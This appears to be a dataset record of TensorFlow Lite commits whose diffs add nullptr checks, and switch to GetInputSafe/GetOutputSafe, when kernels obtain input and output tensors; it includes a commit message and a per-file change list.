--- a/tensorflow/lite/micro/kernels/fully_connected.cc
+++ b/tensorflow/lite/micro/kernels/fully_connected.cc
@@ -93,9 +93,12 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
       static_cast<const TfLiteFullyConnectedParams*>(node->builtin_data);
 
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   const TfLiteTensor* filter = GetInput(context, node, kWeightsTensor);
+  TF_LITE_ENSURE(context, filter != nullptr);
   const TfLiteTensor* bias = GetOptionalInputTensor(context, node, kBiasTensor);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
   TF_LITE_ENSURE_MSG(context, input->type == filter->type,
diff --git a/tensorflow/lite/micro/kernels/hard_swish.cc b/tensorflow/lite/micro/kernels/hard_swish.cc
index 11e1d1a769f401..a0a245f8b99448 100644
--- a/tensorflow/lite/micro/kernels/hard_swish.cc
+++ b/tensorflow/lite/micro/kernels/hard_swish.cc
@@ -45,7 +45,9 @@ TfLiteStatus HardSwishPrepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   if (input->type == kTfLiteUInt8 || input->type == kTfLiteInt8) {
     HardSwishParams* params = static_cast<HardSwishParams*>(node->user_data);
diff --git a/tensorflow/lite/micro/kernels/l2norm.cc b/tensorflow/lite/micro/kernels/l2norm.cc
index 02fdfc0f39b71b..401741a065c410 100644
--- a/tensorflow/lite/micro/kernels/l2norm.cc
+++ b/tensorflow/lite/micro/kernels/l2norm.cc
@@ -50,7 +50,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   TF_LITE_ENSURE(context, NumDimensions(input) <= 4);
 
diff --git a/tensorflow/lite/micro/kernels/logistic.cc b/tensorflow/lite/micro/kernels/logistic.cc
index 7a371da252bb04..3fa81ba84d05b7 100644
--- a/tensorflow/lite/micro/kernels/logistic.cc
+++ b/tensorflow/lite/micro/kernels/logistic.cc
@@ -43,7 +43,9 @@ struct OpData {
 TfLiteStatus CalculateArithmeticOpData(TfLiteContext* context, TfLiteNode* node,
                                        OpData* data) {
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
   if (input->type == kTfLiteInt8) {
diff --git a/tensorflow/lite/micro/kernels/mul.cc b/tensorflow/lite/micro/kernels/mul.cc
index 36e41a36456aa9..b3f3bd4f84a04d 100644
--- a/tensorflow/lite/micro/kernels/mul.cc
+++ b/tensorflow/lite/micro/kernels/mul.cc
@@ -51,8 +51,11 @@ struct OpData {
 TfLiteStatus CalculateOpData(TfLiteContext* context, TfLiteNode* node,
                              TfLiteMulParams* params, OpData* data) {
   const TfLiteTensor* input1 = GetInput(context, node, kInput1Tensor);
+  TF_LITE_ENSURE(context, input1 != nullptr);
   const TfLiteTensor* input2 = GetInput(context, node, kInput2Tensor);
+  TF_LITE_ENSURE(context, input2 != nullptr);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
diff --git a/tensorflow/lite/micro/kernels/pad.cc b/tensorflow/lite/micro/kernels/pad.cc
index 497632f22a0543..5d9d436448d232 100644
--- a/tensorflow/lite/micro/kernels/pad.cc
+++ b/tensorflow/lite/micro/kernels/pad.cc
@@ -50,10 +50,13 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
   const TfLiteTensor* input = GetInput(context, node, /*index=*/0);
+  TF_LITE_ENSURE(context, input != nullptr);
   const TfLiteTensor* paddings = GetInput(context, node, /*index=*/1);
+  TF_LITE_ENSURE(context, paddings != nullptr);
   const TfLiteTensor* constant_values =
       NumInputs(node) == 3 ? GetInput(context, node, /*index=*/2) : nullptr;
   TfLiteTensor* output = GetOutput(context, node, /*index=*/0);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   TF_LITE_ENSURE_EQ(context, input->type, output->type);
 
diff --git a/tensorflow/lite/micro/kernels/pooling.cc b/tensorflow/lite/micro/kernels/pooling.cc
index 90d48aaee5ae33..64aef0e1bcc5a7 100644
--- a/tensorflow/lite/micro/kernels/pooling.cc
+++ b/tensorflow/lite/micro/kernels/pooling.cc
@@ -222,7 +222,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = static_cast<OpData*>(node->user_data);
 
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   TF_LITE_ENSURE_STATUS(CalculateOpData(context, params, input, output, data));
 
diff --git a/tensorflow/lite/micro/kernels/prelu.cc b/tensorflow/lite/micro/kernels/prelu.cc
index 8665dbc2abb372..b48491d66a8578 100644
--- a/tensorflow/lite/micro/kernels/prelu.cc
+++ b/tensorflow/lite/micro/kernels/prelu.cc
@@ -95,8 +95,11 @@ TfLiteStatus PreluPrepare(TfLiteContext* context, TfLiteNode* node) {
   PreluParams* params = static_cast<PreluParams*>(node->user_data);
 
   const TfLiteTensor* input = GetInput(context, node, 0);
+  TF_LITE_ENSURE(context, input != nullptr);
   const TfLiteTensor* alpha = GetInput(context, node, 1);
+  TF_LITE_ENSURE(context, alpha != nullptr);
   TfLiteTensor* output = GetOutput(context, node, 0);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   return CalculatePreluParams(input, alpha, output, params);
 }
diff --git a/tensorflow/lite/micro/kernels/quantize.cc b/tensorflow/lite/micro/kernels/quantize.cc
index efa920463532f0..a5715bcf981396 100644
--- a/tensorflow/lite/micro/kernels/quantize.cc
+++ b/tensorflow/lite/micro/kernels/quantize.cc
@@ -50,7 +50,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
   const TfLiteTensor* input = GetInput(context, node, 0);
+  TF_LITE_ENSURE(context, input != nullptr);
   TfLiteTensor* output = GetOutput(context, node, 0);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   // TODO(b/128934713): Add support for fixed-point per-channel quantization.
   // Currently this only support affine per-layer quantization.
diff --git a/tensorflow/lite/micro/kernels/reduce.cc b/tensorflow/lite/micro/kernels/reduce.cc
index 3ad1068d9188b2..0ee2b83923a825 100644
--- a/tensorflow/lite/micro/kernels/reduce.cc
+++ b/tensorflow/lite/micro/kernels/reduce.cc
@@ -64,6 +64,7 @@ TfLiteStatus PrepareSimple(TfLiteContext* context, TfLiteNode* node) {
 
   // Validate axis type
   const TfLiteTensor* axis = GetInput(context, node, 1);
+  TF_LITE_ENSURE(context, axis != nullptr);
   TF_LITE_ENSURE_TYPES_EQ(context, axis->type, kTfLiteInt32);
 
   if (input->type == kTfLiteInt8) {
diff --git a/tensorflow/lite/micro/kernels/reshape.cc b/tensorflow/lite/micro/kernels/reshape.cc
index a865892b347c43..8e47e2a0577fc7 100644
--- a/tensorflow/lite/micro/kernels/reshape.cc
+++ b/tensorflow/lite/micro/kernels/reshape.cc
@@ -32,7 +32,9 @@ constexpr int kOutputTensor = 0;
 
 TfLiteStatus ReshapeOutput(TfLiteContext* context, TfLiteNode* node) {
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
   // Tensorflow's Reshape allows one of the shape components to have the
   // special -1 value, meaning it will be calculated automatically based on the
   // input. Here we calculate what that dimension should be so that the number
diff --git a/tensorflow/lite/micro/kernels/round.cc b/tensorflow/lite/micro/kernels/round.cc
index 7b4adfc61c0957..5804016b3e4869 100644
--- a/tensorflow/lite/micro/kernels/round.cc
+++ b/tensorflow/lite/micro/kernels/round.cc
@@ -30,7 +30,9 @@ constexpr int kOutputTensor = 0;
 
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, kTfLiteFloat32);
diff --git a/tensorflow/lite/micro/kernels/softmax.cc b/tensorflow/lite/micro/kernels/softmax.cc
index e85c1a4a306399..e0162ae658f09b 100644
--- a/tensorflow/lite/micro/kernels/softmax.cc
+++ b/tensorflow/lite/micro/kernels/softmax.cc
@@ -119,9 +119,11 @@ TfLiteStatus SoftmaxPrepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
   const TfLiteTensor* input = GetInput(context, node, 0);
+  TF_LITE_ENSURE(context, input != nullptr);
   TF_LITE_ENSURE(context, NumDimensions(input) >= 1);
 
   TfLiteTensor* output = GetOutput(context, node, 0);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   TFLITE_DCHECK(node->user_data != nullptr);
   SoftmaxParams* data = static_cast<SoftmaxParams*>(node->user_data);
diff --git a/tensorflow/lite/micro/kernels/split.cc b/tensorflow/lite/micro/kernels/split.cc
index 9bff0b700e7dfa..a1236d7120c27c 100644
--- a/tensorflow/lite/micro/kernels/split.cc
+++ b/tensorflow/lite/micro/kernels/split.cc
@@ -69,6 +69,7 @@ TfLiteStatus SplitImpl(TfLiteContext* context, TfLiteNode* node,
 
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   const TfLiteTensor* axis = GetInput(context, node, 0);
+  TF_LITE_ENSURE(context, axis != nullptr);
 
   // Dynamic output tensors are needed if axis tensor is not constant.
   // But Micro doesn't support dynamic memory allocation, so we only support
diff --git a/tensorflow/lite/micro/kernels/sub.cc b/tensorflow/lite/micro/kernels/sub.cc
index 8ba1594932f59f..2cc61a9b54231d 100644
--- a/tensorflow/lite/micro/kernels/sub.cc
+++ b/tensorflow/lite/micro/kernels/sub.cc
@@ -108,8 +108,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLiteSubParams*>(node->builtin_data);
 
   const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
+  TF_LITE_ENSURE(context, input1 != nullptr);
   const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
+  TF_LITE_ENSURE(context, input2 != nullptr);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   TF_LITE_ENSURE_STATUS(
       CalculateOpData(context, params, input1, input2, output, data));
diff --git a/tensorflow/lite/micro/kernels/svdf.cc b/tensorflow/lite/micro/kernels/svdf.cc
index 5cb8e06f9a7bb9..077e2323744d96 100644
--- a/tensorflow/lite/micro/kernels/svdf.cc
+++ b/tensorflow/lite/micro/kernels/svdf.cc
@@ -366,13 +366,17 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // [4] = Activation State (variable),
   //         {2, batch_size, memory_size * num_filters}
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   const TfLiteTensor* weights_feature =
       GetInput(context, node, kWeightsFeatureTensor);
+  TF_LITE_ENSURE(context, weights_feature != nullptr);
   const TfLiteTensor* weights_time =
       GetInput(context, node, kWeightsTimeTensor);
+  TF_LITE_ENSURE(context, weights_time != nullptr);
   const TfLiteTensor* bias = GetOptionalInputTensor(context, node, kBiasTensor);
   const TfLiteTensor* activation_state =
       GetInput(context, node, kInputActivationStateTensor);
+  TF_LITE_ENSURE(context, activation_state != nullptr);
 
   // Define input constants based on input tensor definition above:
   const int rank = params->rank;
@@ -392,6 +396,7 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // [0] = float/int8_t, {2, batch_size, num_units}
   TF_LITE_ENSURE_EQ(context, node->outputs->size, 1);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
   TF_LITE_ENSURE_EQ(context, NumDimensions(output), 2);
   TF_LITE_ENSURE_EQ(context, output->dims->data[0], batch_size);
   TF_LITE_ENSURE_EQ(context, output->dims->data[1], num_units);
diff --git a/tensorflow/lite/micro/kernels/tanh.cc b/tensorflow/lite/micro/kernels/tanh.cc
index 0f257dfe56b479..7743a87f390b9f 100644
--- a/tensorflow/lite/micro/kernels/tanh.cc
+++ b/tensorflow/lite/micro/kernels/tanh.cc
@@ -51,7 +51,9 @@ TfLiteStatus CalculateArithmeticOpData(TfLiteContext* context, TfLiteNode* node,
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
 
@@ -76,6 +78,7 @@ TfLiteStatus TanhPrepare(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = static_cast<OpData*>(node->user_data);
 
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   data->input_zero_point = input->params.zero_point;
   return CalculateArithmeticOpData(context, node, data);
 }", "url": "https://github.com/tensorflow/tensorflow/commit/fff2c8326280c07733828f990548979bdc893859.patch" }, { "commit_message": "[PATCH] [tflite]: Insert `nullptr` checks when obtaining tensors. As part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages. We also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`). PiperOrigin-RevId: 332521299 Change-Id: I29af455bcb48d0b92e58132d951a3badbd772d56 tensorflow/lite/kernels/activations.cc | 132 +++-- tensorflow/lite/kernels/add.cc | 24 +- tensorflow/lite/kernels/add_n.cc | 20 +- tensorflow/lite/kernels/arg_min_max.cc | 20 +- tensorflow/lite/kernels/assign_variable.cc | 14 +- tensorflow/lite/kernels/audio_spectrogram.cc | 14 +- tensorflow/lite/kernels/basic_rnn.cc | 96 +++- tensorflow/lite/kernels/batch_matmul.cc | 80 ++- .../kernels/bidirectional_sequence_lstm.cc | 374 +++++++++----- .../kernels/bidirectional_sequence_rnn.cc | 182 ++++--- tensorflow/lite/kernels/cast.cc | 14 +- tensorflow/lite/kernels/ceil.cc | 14 +- tensorflow/lite/kernels/comparisons.cc | 84 ++- tensorflow/lite/kernels/concatenation.cc | 15 +- tensorflow/lite/kernels/conv.cc | 144 ++++-- tensorflow/lite/kernels/depth_to_space.cc | 14 +- tensorflow/lite/kernels/depthwise_conv.cc | 65 ++- .../lite/kernels/detection_postprocess.cc | 142 ++++-- tensorflow/lite/kernels/div.cc | 24 +- tensorflow/lite/kernels/elementwise.cc | 12 +- tensorflow/lite/kernels/embedding_lookup.cc | 18 +- .../lite/kernels/embedding_lookup_sparse.cc | 36 +- tensorflow/lite/kernels/expand_dims.cc | 18 +- tensorflow/lite/kernels/fill.cc | 20 +- tensorflow/lite/kernels/floor.cc | 14 +- tensorflow/lite/kernels/floor_div.cc | 24 +- tensorflow/lite/kernels/floor_mod.cc | 24 +- tensorflow/lite/kernels/fully_connected.cc | 75 ++- tensorflow/lite/kernels/gather.cc | 22 +- tensorflow/lite/kernels/gather_nd.cc | 20 +- tensorflow/lite/kernels/hashtable_lookup.cc | 31 +- tensorflow/lite/kernels/if.cc | 25 +- tensorflow/lite/kernels/l2norm.cc | 14 +- .../lite/kernels/local_response_norm.cc | 14 +- tensorflow/lite/kernels/logical.cc | 24 +- tensorflow/lite/kernels/lsh_projection.cc | 22 +- tensorflow/lite/kernels/lstm.cc | 479 ++++++++++++------ tensorflow/lite/kernels/matrix_diag.cc | 14 +- tensorflow/lite/kernels/matrix_set_diag.cc | 18 +- tensorflow/lite/kernels/mfcc.cc | 24 +- tensorflow/lite/kernels/mirror_pad.cc | 18 +- tensorflow/lite/kernels/mul.cc | 24 +- tensorflow/lite/kernels/neg.cc | 14 +- .../lite/kernels/non_max_suppression.cc | 123 +++-- tensorflow/lite/kernels/numeric_verify.cc | 8 +- tensorflow/lite/kernels/pack.cc | 17 +- tensorflow/lite/kernels/pooling.cc | 24 +- tensorflow/lite/kernels/pow.cc | 24 +- tensorflow/lite/kernels/quantize.cc | 12 +- tensorflow/lite/kernels/range.cc | 28 +- tensorflow/lite/kernels/rank.cc | 7 +- tensorflow/lite/kernels/read_variable.cc | 18 +- tensorflow/lite/kernels/reduce.cc | 55 +- tensorflow/lite/kernels/reshape.cc | 22 +- tensorflow/lite/kernels/resize_bilinear.cc | 20 +- .../lite/kernels/resize_nearest_neighbor.cc | 20 +- tensorflow/lite/kernels/reverse.cc | 21 +- tensorflow/lite/kernels/reverse_sequence.cc | 32 +- tensorflow/lite/kernels/rfft2d.cc | 92 +++- tensorflow/lite/kernels/round.cc | 14 +- tensorflow/lite/kernels/scatter_nd.cc | 26 +- tensorflow/lite/kernels/segment_sum.cc | 27 +- tensorflow/lite/kernels/select.cc | 34 +- tensorflow/lite/kernels/shape.cc | 7 +- tensorflow/lite/kernels/skip_gram.cc | 15 +- tensorflow/lite/kernels/slice.cc | 26 +- tensorflow/lite/kernels/space_to_depth.cc | 14 +- tensorflow/lite/kernels/sparse_to_dense.cc | 52 +- tensorflow/lite/kernels/split.cc | 11 +- tensorflow/lite/kernels/split_v.cc | 11 +- tensorflow/lite/kernels/squared_difference.cc | 24 +- tensorflow/lite/kernels/sub.cc | 24 +- tensorflow/lite/kernels/svdf.cc | 96 ++-- tensorflow/lite/kernels/tile.cc | 33 +- tensorflow/lite/kernels/topk_v2.cc | 46 +- tensorflow/lite/kernels/transpose_conv.cc | 69 ++- .../kernels/unidirectional_sequence_lstm.cc | 233 ++++++--- .../kernels/unidirectional_sequence_rnn.cc | 96 +++- tensorflow/lite/kernels/unique.cc | 26 +- tensorflow/lite/kernels/unpack.cc | 9 +- tensorflow/lite/kernels/where.cc | 18 +- tensorflow/lite/kernels/while.cc | 3 +- tensorflow/lite/kernels/zeros_like.cc | 14 +- 83 files changed, 2722 insertions(+), 1205 deletions(-)", "patch_text_b64": "From 1970c2158b1ffa416d159d03c3370b9a462aee35 Mon Sep 17 00:00:00 2001
From: Mihai Maruseac <mihaimaruseac@google.com>
Date: Fri, 18 Sep 2020 13:56:43 -0700
Subject: [PATCH] [tflite]: Insert `nullptr` checks when obtaining tensors.

As part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.

We also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).

PiperOrigin-RevId: 332521299
Change-Id: I29af455bcb48d0b92e58132d951a3badbd772d56
---
 tensorflow/lite/kernels/activations.cc        | 132 +++--
 tensorflow/lite/kernels/add.cc                |  24 +-
 tensorflow/lite/kernels/add_n.cc              |  20 +-
 tensorflow/lite/kernels/arg_min_max.cc        |  20 +-
 tensorflow/lite/kernels/assign_variable.cc    |  14 +-
 tensorflow/lite/kernels/audio_spectrogram.cc  |  14 +-
 tensorflow/lite/kernels/basic_rnn.cc          |  96 +++-
 tensorflow/lite/kernels/batch_matmul.cc       |  80 ++-
 .../kernels/bidirectional_sequence_lstm.cc    | 374 +++++++++-----
 .../kernels/bidirectional_sequence_rnn.cc     | 182 ++++---
 tensorflow/lite/kernels/cast.cc               |  14 +-
 tensorflow/lite/kernels/ceil.cc               |  14 +-
 tensorflow/lite/kernels/comparisons.cc        |  84 ++-
 tensorflow/lite/kernels/concatenation.cc      |  15 +-
 tensorflow/lite/kernels/conv.cc               | 144 ++++--
 tensorflow/lite/kernels/depth_to_space.cc     |  14 +-
 tensorflow/lite/kernels/depthwise_conv.cc     |  65 ++-
 .../lite/kernels/detection_postprocess.cc     | 142 ++++--
 tensorflow/lite/kernels/div.cc                |  24 +-
 tensorflow/lite/kernels/elementwise.cc        |  12 +-
 tensorflow/lite/kernels/embedding_lookup.cc   |  18 +-
 .../lite/kernels/embedding_lookup_sparse.cc   |  36 +-
 tensorflow/lite/kernels/expand_dims.cc        |  18 +-
 tensorflow/lite/kernels/fill.cc               |  20 +-
 tensorflow/lite/kernels/floor.cc              |  14 +-
 tensorflow/lite/kernels/floor_div.cc          |  24 +-
 tensorflow/lite/kernels/floor_mod.cc          |  24 +-
 tensorflow/lite/kernels/fully_connected.cc    |  75 ++-
 tensorflow/lite/kernels/gather.cc             |  22 +-
 tensorflow/lite/kernels/gather_nd.cc          |  20 +-
 tensorflow/lite/kernels/hashtable_lookup.cc   |  31 +-
 tensorflow/lite/kernels/if.cc                 |  25 +-
 tensorflow/lite/kernels/l2norm.cc             |  14 +-
 .../lite/kernels/local_response_norm.cc       |  14 +-
 tensorflow/lite/kernels/logical.cc            |  24 +-
 tensorflow/lite/kernels/lsh_projection.cc     |  22 +-
 tensorflow/lite/kernels/lstm.cc               | 479 ++++++++++++------
 tensorflow/lite/kernels/matrix_diag.cc        |  14 +-
 tensorflow/lite/kernels/matrix_set_diag.cc    |  18 +-
 tensorflow/lite/kernels/mfcc.cc               |  24 +-
 tensorflow/lite/kernels/mirror_pad.cc         |  18 +-
 tensorflow/lite/kernels/mul.cc                |  24 +-
 tensorflow/lite/kernels/neg.cc                |  14 +-
 .../lite/kernels/non_max_suppression.cc       | 123 +++--
 tensorflow/lite/kernels/numeric_verify.cc     |   8 +-
 tensorflow/lite/kernels/pack.cc               |  17 +-
 tensorflow/lite/kernels/pooling.cc            |  24 +-
 tensorflow/lite/kernels/pow.cc                |  24 +-
 tensorflow/lite/kernels/quantize.cc           |  12 +-
 tensorflow/lite/kernels/range.cc              |  28 +-
 tensorflow/lite/kernels/rank.cc               |   7 +-
 tensorflow/lite/kernels/read_variable.cc      |  18 +-
 tensorflow/lite/kernels/reduce.cc             |  55 +-
 tensorflow/lite/kernels/reshape.cc            |  22 +-
 tensorflow/lite/kernels/resize_bilinear.cc    |  20 +-
 .../lite/kernels/resize_nearest_neighbor.cc   |  20 +-
 tensorflow/lite/kernels/reverse.cc            |  21 +-
 tensorflow/lite/kernels/reverse_sequence.cc   |  32 +-
 tensorflow/lite/kernels/rfft2d.cc             |  92 +++-
 tensorflow/lite/kernels/round.cc              |  14 +-
 tensorflow/lite/kernels/scatter_nd.cc         |  26 +-
 tensorflow/lite/kernels/segment_sum.cc        |  27 +-
 tensorflow/lite/kernels/select.cc             |  34 +-
 tensorflow/lite/kernels/shape.cc              |   7 +-
 tensorflow/lite/kernels/skip_gram.cc          |  15 +-
 tensorflow/lite/kernels/slice.cc              |  26 +-
 tensorflow/lite/kernels/space_to_depth.cc     |  14 +-
 tensorflow/lite/kernels/sparse_to_dense.cc    |  52 +-
 tensorflow/lite/kernels/split.cc              |  11 +-
 tensorflow/lite/kernels/split_v.cc            |  11 +-
 tensorflow/lite/kernels/squared_difference.cc |  24 +-
 tensorflow/lite/kernels/sub.cc                |  24 +-
 tensorflow/lite/kernels/svdf.cc               |  96 ++--
 tensorflow/lite/kernels/tile.cc               |  33 +-
 tensorflow/lite/kernels/topk_v2.cc            |  46 +-
 tensorflow/lite/kernels/transpose_conv.cc     |  69 ++-
 .../kernels/unidirectional_sequence_lstm.cc   | 233 ++++++---
 .../kernels/unidirectional_sequence_rnn.cc    |  96 +++-
 tensorflow/lite/kernels/unique.cc             |  26 +-
 tensorflow/lite/kernels/unpack.cc             |   9 +-
 tensorflow/lite/kernels/where.cc              |  18 +-
 tensorflow/lite/kernels/while.cc              |   3 +-
 tensorflow/lite/kernels/zeros_like.cc         |  14 +-
 83 files changed, 2722 insertions(+), 1205 deletions(-)

diff --git a/tensorflow/lite/kernels/activations.cc b/tensorflow/lite/kernels/activations.cc
index 00cd035470f8fb..ee9fc2c34188c5 100644
--- a/tensorflow/lite/kernels/activations.cc
+++ b/tensorflow/lite/kernels/activations.cc
@@ -252,8 +252,10 @@ void* HardSwishInit(TfLiteContext* context, const char* buffer, size_t length) {
 TfLiteStatus GenericPrepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
 
   return context->ResizeTensor(context, output,
@@ -272,8 +274,10 @@ TfLiteStatus ReluPrepare(TfLiteContext* context, TfLiteNode* node) {
   ReluOpData* data = reinterpret_cast<ReluOpData*>(node->user_data);
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
 
   if (input->type == kTfLiteInt8 || input->type == kTfLiteUInt8) {
@@ -300,12 +304,14 @@ void HardSwishFree(TfLiteContext* context, void* buffer) {
 
 TfLiteStatus HardSwishPrepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_STATUS(GenericPrepare(context, node));
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
 
   if (output->type == kTfLiteUInt8 || output->type == kTfLiteInt8) {
     HardSwishData* data = static_cast<HardSwishData*>(node->user_data);
     HardSwishParams* params = &data->params;
-    const TfLiteTensor* input = GetInput(context, node, 0);
+    const TfLiteTensor* input;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
     params->input_zero_point = input->params.zero_point;
     params->output_zero_point = output->params.zero_point;
     const float input_scale = input->params.scale;
@@ -337,8 +343,10 @@ TfLiteStatus HardSwishPrepare(TfLiteContext* context, TfLiteNode* node) {
 TfLiteStatus LeakyReluPrepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
 
   LeakyReluOpData* data = reinterpret_cast<LeakyReluOpData*>(node->user_data);
@@ -366,8 +374,10 @@ TfLiteStatus TanhPrepare(TfLiteContext* context, TfLiteNode* node) {
 
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
 
   if (kernel_type == kFixedPointOptimized) {
@@ -451,8 +461,10 @@ TfLiteStatus SigmoidPrepare(TfLiteContext* context, TfLiteNode* node) {
 
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
